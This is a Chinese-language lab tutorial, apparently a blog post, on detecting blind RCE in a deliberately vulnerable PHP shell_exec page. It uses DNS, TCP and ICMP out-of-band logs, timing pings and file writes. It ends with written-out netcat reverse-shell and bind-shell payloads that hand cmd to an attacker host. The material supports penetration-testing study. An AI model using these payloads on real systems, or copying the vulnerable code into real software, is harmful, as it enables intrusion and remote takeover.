一、数据带外1.1 DNSlog1.2 TCP-Portlog1.3 ICMP-Sizelog二、延迟判断三、写文件四、反弹权限4.1 反向连接4.2 正向连接
免责声明
请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
前言:
当我们在发现Rce漏洞的时候,有时候在命令执行的过程中会遇到数据不回显的情况, 这种情况的产生原因是代码层面函数调用问题,或者没有输出测试等原因,下面我们来看看解决方案:
一、数据带外
首先我们先启动两台实验服务器, 一台Windows服务器, 一台Linux服务器:
Windows服务器环境:Windows Server 2016 数据中心版 64位中文版 2核4G
Linux服务器环境:Ubuntu Server 20.04 LTS 64位 2核4G
启动之后我们先向Windows服务器上传一个phpStudy, 用来搭建漏洞环境。
启动我们的phpStudy, 然后我们将里面内置的Apache服务器启动, 然后来到网站目录下,放上我们的漏洞代码:
漏洞代码如下:
<?php
$cmd=$_GET['c'];
shell_exec($cmd);//命令执行函数, 执行后无回显
//system($cmd);//命令执行函数, 执行后有回显
?>
我们可以看到这个漏洞的php代码里面, 第一个函数是无回显的, 第二个命令执行函数是有回显的, 我们把第二个函数注释后然后再上传到我们的网站目录下这样就搭建好了我们的漏洞环境。
访问Windows服务器ip地址的80端口, 然后使用?c=calc 测试, 看看是否能够成功rce:
从上图的结果可以看到计算器确实弹出来了,但是我们执行payload的界面是没有回显的, 也就是我们无法知道计算器是否弹出这个结果, 因此我们可以使用数据带外这一策略:
1.1 DNSlog
我们可以使用DNSlog来确定是否成功执行了命令, 我们首先开启Yakit自带的DNSlog:
生成一个可用域名:
然后我们使用以下payload进行rce, 看DNSlog这边是否能够接收到数据:
?c=ping xhqjbzeydu.dgrh3.cn
我们可以看到DNSlog这边已经接受到数据了, 证明了Rce漏洞存在, 可以进行命令执行:
1.2 TCP-Portlog
我们也可以使用TCP-Portlog实现数据带外,使用TCP-Portlog实现数据带外需要借助nc,我们先将nc传到Windows服务器上面, TCP-Portlog也是集成在了Yakit里面的:
上传nc之前先将Windows服务器的安全设置全关了:
通过Yakit的TCP-Portlog生成一个随机端口:
使用以下payload进行访问:
?c=nc 101.33.34.170 60687
可以看到TCP-Portlog这里接收到了数据,这也就证实了是可以rce的:
1.3 ICMP-Sizelog
ICMP-Sizelog也是实现数据带外的一种方式, 也集成在Yakit里面,就在Tcp-Portlog的旁边,我们来打开ICMP-Sizelog进行实验:
我们生成一个可用长度后, 使用以下payload进行访问:
?c=ping -l 799 ns1.cybertunnel.run
可以看到ICMP-Sizelog这里已经接收到了数据, 代表rce漏洞存在:
二、延迟判断
我们发包然后通过抓包工具查看回显时间, 这里使用Yakit进行演示, 下面是攻击payload格式:
Win
:
ping -n 3 127.0.0.1 #-n后面的3代表延迟3秒, 相当于编程语言中的sleep(3)
Linux
:
ping -c 3 127.0.0.1 #linux下 -c后面是延迟时间,我们的目标是Windows服务器, 因此这个可以忽略
使用以下的payload访问, 并且使用Yakit的免配置启动抓包:
?c=ping -n 3 127.0.0.1 #第一次访问,延迟3秒
?c=ping -n 6 127.0.0.1 #第二次访问,延迟6秒
我们可以通过抓到的数据包看到每次的访问确实都延迟了约等于我们设定的时间,这就证明了rce漏洞存在:
三、写文件
我们可以通过命令向服务器写入静态文件, 然后通过访问这个文件,如果这个文件存在, 则证明rce成功,下面是payload:
?c=echo Hello, World! > 1.txt #代表创建一个文件1.txt, 并写入Hello World进去
我们尝试进行访问这个文件, 发现可以成功访问, 就代表了我们的命令执行了, 成功rce:
四、反弹权限
4.1 反向连接
我们可以通过反弹shell将权限返给我们的Linux攻击机,下面是一个反弹shell命令生成的网站:
https://forum.ywhack.com/reverse-shell/
首先我们让我们的Linux攻击机监听9001端口:
nc -lvnp 9001
然后通过下面的payload,让Windows服务器主动交出权限:
?c=nc -e cmd 175.27.128.162 9001 #这个命令代表将cmd给到目标地址的9001端口
实验之前我们需要在安全组中把我们Linux攻击机的9001端口放开:
攻击机监听9001端口:
执行payload后我们发现权限已经反弹过来了:
并且命令可以成功执行:
4.2 正向连接
刚才的反向连接是让Windows靶机将权限主动交出来, 那么正向连接就是通过rce漏洞, 让Windows靶机执行命令将cmd绑定到某个端口并进行监听, 然后让Linux攻击机主动连接那个端口:
攻击payload
:
?c=nc -e cmd -lvvp 6666 #将cmd绑定到本地6666端口, 需要先在安全组的入站规则那里开通6666端口
Linux攻击机通过下面的命令主动连接Windows靶机:
nc 119.45.131.234 6666
可以看到通过正向连接我们也是直接拿到了权限, 并且成功执行命令:
以上就是我们在遇到Rce漏洞不回显的情况下如何确定存在Rce漏洞并获取数据的解决策略了,这篇文章到这里就结束了。
原创 PysonX